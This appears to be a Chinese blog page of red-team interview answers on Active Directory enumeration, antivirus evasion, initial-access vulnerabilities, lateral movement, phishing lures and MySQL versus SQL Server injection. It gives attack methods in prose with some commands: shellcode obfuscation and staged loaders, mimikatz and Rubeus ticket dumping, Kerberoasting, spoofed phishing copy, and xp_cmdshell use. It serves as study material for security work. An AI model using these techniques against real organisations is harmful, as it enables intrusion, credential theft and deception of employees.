  • 可能的原因

    1. 当前用户不在域中:执行命令的机器是一台工作组机器,或者用户没有登录到域。

    2. 网络连通性问题 :无法连接到域控制器(DNS解析失败、防火墙阻断445135389等端口)。

    3. 权限不足:当前域用户权限太低,无法查询域管理员组。普通域用户通常可以查询,但某些环境可能设置了更严格的权限。

    4. 命令被拦截 :主机上的安全软件或组策略拦截了net命令或相关网络请求。

    5. 域控制器故障:所有域控制器都不可用(可能性较小)。

  • 解决方法

    1. 确认域环境ipconfig /all查看DNS后缀和DNS服务器,set user查看用户名是否带域名。

    2. 测试连通性ping <域名>nslookup <域名>telnet <域控IP> 445

    3. 使用其他命令或方法

      • net groups "Domain Admins" /domain(注意groups复数)。

      • PowerShell: Get-ADGroupMember -Identity "Domain Admins"(需要AD模块)。

      • dsquery group -name "Domain Admins" | dsget group -members

      • 使用BloodHound等工具进行枚举。

    4. 使用其他协议/端口 :如果445被阻,尝试使用LDAP389)查询:ldapsearch -h <域控IP> -x -b "dc=domain,dc=com" "(&(objectCategory=group)(cn=Domain Admins))" member(Linux工具)。

    5. 提升权限或横向移动:先尝试提升当前用户权限,或控制一台有查询权限的机器。

1073 查询域内管理员的这条命令的本质究竟是去哪里查,为什么输入了之后就可以查到?

  • 本质net group "Domain Admins" /domain命令的本质是通过SMB/RPC协议向域控制器发起一个查询请求

  • 查询过程

    1. 定位域控制器:客户端首先通过DNS查询或NetBIOS广播,找到域控制器的位置。

    2. 建立连接 :使用SMB协议(通常是445端口)或RPC over SMB,与域控制器建立空会话或使用当前用户凭据建立认证会话。

    3. 调用RPC函数 :该命令会调用远程过程调用(RPC) 接口,具体是SAMR(Security Account Manager Remote) 协议或LSARPC(Local Security Authority Remote Protocol) 协议中的函数,例如SamrQueryDisplayInformationLsaEnumerateAccountsWithUserRight等,来查询域内组和其成员信息。

    4. 返回结果 :域控制器处理请求,从活动目录数据库(ntds.dit)中查询"Domain Admins"组的成员列表,并通过RPC响应返回给客户端。

    5. 客户端显示net.exe程序接收并解析响应,将结果显示在命令行中。

  • 为什么可以查到 :因为活动目录(Active Directory) 是一个集中式的目录服务,所有域用户、组、计算机等信息都存储在域控制器的ntds.dit文件中。net group命令通过标准的Windows网络协议,向这个中央数据库发起查询。只要网络可达、协议允许、用户有相应权限,就能获取到信息。

1074 免杀中,如何去过国内的杀软,杀软究竟在杀什么?那么国外的杀软比如卡巴斯基为什 么同样的方法过不了呢?

  • 如何过国内杀软:国内杀软(如360、火绒、腾讯电脑管家)通常采用"特征码扫描 + 云查杀 + 行为监控(主防)"的多层防御。

    • 对抗特征码

      1. 代码混淆/变形:对Shellcode或可执行文件进行加密、编码(如Base64, XOR),在内存中解密执行。

      2. 加壳/压缩:使用商业壳(VMProtect, Themida)或自定义壳,改变文件静态特征。但注意很多壳本身就有特征。

      3. 源码层面修改:调整代码结构、插入花指令、等价API替换、字符串隐藏。

    • 对抗行为监控

      1. API调用链混淆 :避免直接调用敏感API(如VirtualAllocCreateRemoteThread),而是通过系统调用(Syscall)或间接调用。

      2. 延迟与条件触发:不立即执行恶意行为,或仅在特定条件(如特定文件存在、特定时间)下触发。

      3. 进程注入与傀儡进程 :将代码注入到可信进程(如explorer.exesvchost.exe)中执行,模仿正常行为。

      4. "白名单"程序利用 :利用系统自带的可信程序(msbuildinstallutilregsvr32rundll32powershell)来加载恶意代码,即"Living off the Land"。

  • 杀软在杀什么

    1. 静态特征:文件哈希、字符串、关键代码片段(如恶意IP、域名、特定函数组合)。

    2. 行为特征:一系列可疑操作的组合,例如:申请可执行内存 -> 写入Shellcode -> 修改内存保护属性为可执行 -> 创建远程线程。还有敏感操作如修改启动项、窃取凭证、连接C2服务器等。

  • 为何国外杀软(如卡巴斯基)可能过不了

    1. 特征库差异:不同厂商的病毒特征库、机器学习模型和规则集不同。针对国内样本训练的杀软,对国内流行的木马、病毒特征更敏感;卡巴斯基等国际厂商的样本库更全球化,可能对某些国际流行的攻击手法或APT组织特征更熟悉。

    2. 行为分析深度:卡巴斯基等以强悍的主防(行为分析)闻名,其行为分析引擎可能更精细,能检测到更底层、更隐蔽的恶意行为序列。国内杀软的行为分析可能更侧重于拦截已知的、明显的高危动作组合。

    3. 内核防护强度:卡巴斯基的驱动级防护可能更强,能更有效地对抗Rootkit和进程注入。国内杀软在平衡安全和用户体验上可能有不同策略。

    4. 免杀方法针对性:测试者通常使用国内环境下流行的免杀方法进行测试,这些方法可能专门针对国内杀软的检测逻辑进行了优化,但未考虑卡巴斯基的检测模型,因此可能失效。

1075 免杀中,分离免杀和单体免杀有啥区别,为什么要分离,本质是什么?

  • 单体免杀:将完整的恶意负载(Shellcode、加载器)全部包含在一个可执行文件(EXE, DLL)中。这个文件需要整体通过杀软的静态和行为检测。

  • 分离免杀 :将恶意功能拆分成多个部分。通常是一个"加载器"(Loader/Stager)和一个"核心载荷"(Payload)。加载器本身是干净的或轻度混淆的,其功能是从远程服务器、本地文件、图片隐写、注册表等处动态获取核心载荷(通常是加密或编码的),然后在内存中解密并执行。核心载荷本身不直接存在于初始文件中。

  • 为什么要分离,本质是什么

    1. 本质 :分离免杀的核心思想是规避静态检测降低单一文件的恶意权重。将恶意特征从初始传输的文件中剥离,使其看起来"无害"。

    2. 优势

      • 绕过静态扫描:加载器文件本身可能没有任何敏感字符串或特征码,更容易通过邮件附件、网站上传等静态检测关卡。

      • 动态获取载荷:核心载荷可以随时更新,无需重新免杀加载器。载荷可以存储在云盘、GitHub、图片像素等地方,通过简单的HTTP请求获取,这些网络行为在正常软件中也常见。

      • 增加分析难度:攻击链被分割,自动化分析系统可能只分析加载器而无法获取完整的恶意逻辑。取证时也需要同时获取加载器和载荷才能还原攻击。

      • 载荷多样化:同一个加载器可以下载不同的载荷,实现不同功能。

1076 打点常用什么漏洞,请简述

"打点"指获取第一个内网入口点。常用漏洞因目标资产不同而异,但总体思路是从外到内,从易到难。

  1. Web应用漏洞(最常见入口):

    • SQL注入:直接获取数据库数据,甚至WebShell。

    • 文件上传:上传恶意脚本(WebShell)获得代码执行权限。

    • RCE(远程代码执行):如Struts2, Fastjson, Weblogic, Shiro等框架/组件的反序列化、表达式注入漏洞。

    • 未授权访问:Redis, Jenkins, Docker API, Kibana, Nacos等服务的未授权访问,可导致命令执行或信息泄露。

    • SSRF(服务端请求伪造):探测或攻击内网服务。

  2. 常见服务漏洞

    • SMB/MS17-010:利用永恒之蓝漏洞获取系统权限。

    • RDP暴力破解:针对弱口令的远程桌面服务。

    • FTP/SSH弱口令

    • 数据库弱口令/未授权:如MySQL, MongoDB, Redis。

  3. OA/ERP系统漏洞:如泛微、致远、用友的已知Nday漏洞,通常危害大且利用稳定。

  4. 中间件/框架漏洞:如Weblogic, JBoss, Tomcat的管理后台弱口令或已知RCE漏洞。

  5. 信息泄露 :Git源码泄露、备份文件泄露、配置文件泄露(如.env文件包含密钥),从而获取进一步攻击的凭据或路径。

  6. 社会工程学:钓鱼邮件、水坑攻击、伪装客服等,诱使用户运行恶意程序。

1077 内网横向中,是直接进去拿一台机器的权限直接开扫,还是有别的方法?

不建议直接开扫。盲目扫描(尤其是全端口、高强度漏洞扫描)会产生大量异常流量,极易触发安全设备(IDS/IPS)告警,暴露攻击行为。

  • 推荐的有序方法

    1. 信息收集(静默)

      • 主机信息 :查看当前机器的网络配置(ipconfig /all/etc/resolv.conf)、ARP表、路由表、 hosts文件、 DNS缓存、当前网络连接(netstat -ano)。

      • 凭据信息:提取内存中的密码、哈希、票据、保存的RDP凭证、浏览器密码、配置文件中的密钥。

      • 进程与服务:查看运行的服务和进程,寻找可横向移动的线索(如数据库服务、管理工具)。

      • 文件与日志:浏览桌面、文档、下载目录,查看各种日志,寻找管理员操作记录、连接其他机器的痕迹。

    2. 网络拓扑探测(低噪声)

      • ICMP/Ping扫描:对当前网段或相邻网段进行简单的Ping扫描,发现存活主机。可设置较长超时和较低频率。

      • 端口扫描针对性扫描 。根据信息收集的结果,对特定IP的特定服务端口(如4451351433330622)进行扫描,避免全端口。

      • 利用内部命令 :使用net viewarp -a等命令了解局域网内的其他机器。

    3. 针对性横向移动

      • 凭据重用:使用收集到的密码/哈希,尝试连接其他机器的相同服务(如SMB, RDP, WinRM, SSH, MSSQL)。

      • 协议利用:利用SMB、WMI、PSExec、SCM等协议,结合获得的凭据,在已知主机上执行命令。

      • 漏洞利用:对已识别的特定服务,如果存在已知漏洞(如MS17-010),再进行精准利用。

    4. 部署隐蔽通道:在已控机器上部署代理(如socks5),将后续攻击流量转发出去,避免直接连接。

1078 钓鱼用什么来钓?文案思路?如何判断目标单位的机器是哪种协议出网?是只做一套来钓鱼还是做几套来钓鱼?如何提高钓鱼成功率?

  • 钓鱼载体

    • 邮件附件:Office宏文档、带漏洞的PDF、包含恶意链接的HTML、假冒的EXE安装包(如"薪资调整通知.exe")。

    • 邮件链接:指向伪造的登录页面(OA、邮箱、VPN登录页),窃取凭据。

    • 即时通讯:通过微信、QQ、钉钉等发送恶意文件或链接。

    • U盘摆渡:在目标单位附近丢弃带有自动运行脚本的U盘。

  • 文案思路

    • 紧贴时事与工作:例如"2025年度个人所得税汇算清缴通知"、"公司内部岗位竞聘申请表"、"关于举办网络安全培训的通知"、"系统升级重要提醒"。

    • 制造紧迫感与权威性:"请务必在今日下班前查阅并反馈"、"总经理办公会决议"、"您的账户存在异常,请立即登录核实"。

    • 伪装发件人:模仿高管、HR、财务、IT部门的邮箱地址和口吻。

  • 判断出网协议

    • 初步探测 :在已控的边界机器或通过其他方式,尝试连接外部常见端口(如HTTP 80/443, DNS 53, ICMP)。可以通过pingnslookupcurl等命令测试。

    • 钓鱼探测:可以发送一封包含多个不同类型回连请求(HTTP, DNS, ICMP)的测试邮件,观察哪个协议能收到回连,从而判断开放协议。

  • 做一套还是几套强烈建议准备多套。因为:

    1. 环境差异:目标单位内不同部门、不同用户的机器环境(操作系统、办公软件版本、杀软)可能不同。

    2. 提高成功率:一套失败,还有其他备选。例如,准备一个带宏的DOC文档,一个利用CVE漏洞的PDF,一个快捷方式文件,一个伪造的安装程序。

  • 提高成功率

    1. 精准信息:通过社工库、领英、公司官网等收集目标员工姓名、部门、职位、工作内容,进行精准投递。

    2. 邮件伪造:尽量使发件人邮箱看起来真实,使用与目标公司相似的域名或显示名欺骗。

    3. 文件免杀:对恶意载荷进行充分免杀处理,避免被终端杀软拦截。

    4. 环境模拟:在沙箱中模拟目标可能的环境(如特定Office版本),确保载荷能正常触发。

    5. 信任铺垫:先发送一两封无害的正常邮件(如行业报告、新闻),降低收件人戒备,再发送恶意邮件。

1079 钓鱼上线的主机,如何进行利用?背景是只发现了一个域用户,但是也抓不到密码,但是有域

在已获得一个域用户权限的主机上,即使抓不到明文密码,也可以进行大量内网渗透操作:

  1. 信息收集

    • 当前用户上下文whoami /priv查看特权,net user /domain查看域用户,net group "domain computers" /domain查看域内计算机。

    • 网络信息ipconfig /allroute printnetstat -ano查看连接和内网结构。

    • 共享与会话net viewnet sessionnet use

    • 查询活动目录 :使用PowerView等脚本,以当前用户权限枚举域内的用户、组、计算机、OU、GPO等信息。即使普通域用户也有大量默认读取权限。

  2. 凭据提取尝试

    • 尽管抓不到密码,但可以尝试提取Kerberos票据 。使用Rubeusdump命令或mimikatzkerberos::list导出当前用户的TGT和TGS票据,可能用于白银票据攻击或作为Pass-the-Ticket的素材。

    • 查找磁盘上保存的密码:浏览器密码、配置文件、数据库连接字符串、源代码中的硬编码密码。

  3. 横向移动

    • Pass-the-Hash:如果抓取到NTLM Hash(即使不是明文密码),可以在SMB、WMI、PsExec等协议中使用该Hash进行横向认证。

    • Kerberoasting:使用当前域用户权限,请求所有SPN服务的TGS票据,然后离线破解这些票据(因为它们是使用服务账户的哈希加密的)。如果破解成功,就获得了服务账户的密码,服务账户权限可能更高。

    • AS-REP Roasting:如果域内有设置了"不需要预认证"的用户,可以为其请求AS-REP,并离线破解加密部分获得该用户的哈希。

    • 利用约束委派:如果当前用户或计算机被配置了约束委派,可以代表其他用户访问特定服务,可能用于权限提升。

  4. 权限提升

    • 在本机查找提权漏洞(内核漏洞、服务配置错误、脆弱的软件)。

    • 利用BloodHound等工具分析当前用户在域内的关系,寻找通往高权限的路径(如GenericAllWriteDACLOwns等关系),可能通过修改ACL等方式提权。

  5. 定位域控 :通过DNS查询、端口扫描(38963688)、nltest /dclist:等命令定位域控制器。

1080 sql注入在mysql和sqlserver中有什么区别

SQL注入的核心原理相同,但具体语法、函数、特性和利用方式有显著差异:

特性 MySQL SQL Server (MSSQL)
注释符 --(后需空格), #/* */ --/* */
字符串连接 CONCAT(), `
信息获取 version()user()database() @@versionuserdb_name()
系统数据库/视图 information_schema(TABLES, COLUMNS) information_schema(也支持), 但更常用 sys.*视图, 或直接查 sysobjectssyscolumns(旧式)
延时函数 sleep(5) waitfor delay '0:0:5'
条件判断 if(condition, true_part, false_part) 可用 if但更常用 case when ... then ... else ... end, 或 iif()函数
报错注入函数 updatexml()extractvalue()floor(rand()*2) 常用 convert()类型转换错误, 如 convert(int, @@version)
写文件函数 into outfileinto dumpfile 无直接对应, 但可通过 xp_cmdshell执行系统命令写入, 或 bcp实用程序, 或差异备份。
执行系统命令 通常不可直接执行(除非有特殊插件或配置)。 可通过 xp_cmdshell扩展存储过程执行。
默认端口 3306 1433
多语句查询 默认情况下, PHP的mysql(i)扩展不支持一次执行多条SQL(需用mysqli_multi_query)。 通常支持多语句查询, 可用;分隔。
当前错误信息 @@errorerror_message() @@error
权限系统 基于用户+主机, 权限细化到数据库、表、列。 基于Windows身份验证或SQL Server登录, 角色权限管理。
堆叠查询 依赖驱动和配置, 不一定总是支持。 通常支持堆叠查询(Stacked Queries)。
相关推荐
L***一2 小时前
网络安全专业入门级认证体系分析与路径规划
网络·安全·web安全
witAI2 小时前
**Kimi小说灵感2025推荐,从零到一的创意激发指南**
人工智能·python
KKKlucifer2 小时前
数据分类分级 + 权限管控一体化安全方案:构建精准可控的数据安全防线
安全
程序员一点2 小时前
第17章:SELinux 与系统安全机制
安全·操作系统·系统安全·openeuler·selinux
飞Link2 小时前
深度解析:基于专家的监管方法(Expert-Based Supervision)在复杂系统中的应用
python·数据挖掘·回归
Shining05962 小时前
Triton & 九齿系列《Triton 练气术》
开发语言·人工智能·python·学习·其他·infinitensor
深念Y2 小时前
腾达路由器无线中继模式:WISP与Client+AP什么意思
网络·wifi·智能路由器·路由器·ssid·腾达·无线中继
JamesYoung79712 小时前
第五部分 — 内容脚本与页面交互 DOM 访问模式与安全桥接
安全·交互
天远Date Lab2 小时前
天远企业司法认证API实战:Python构建企业级供应链合规审查防火墙
大数据·开发语言·网络·python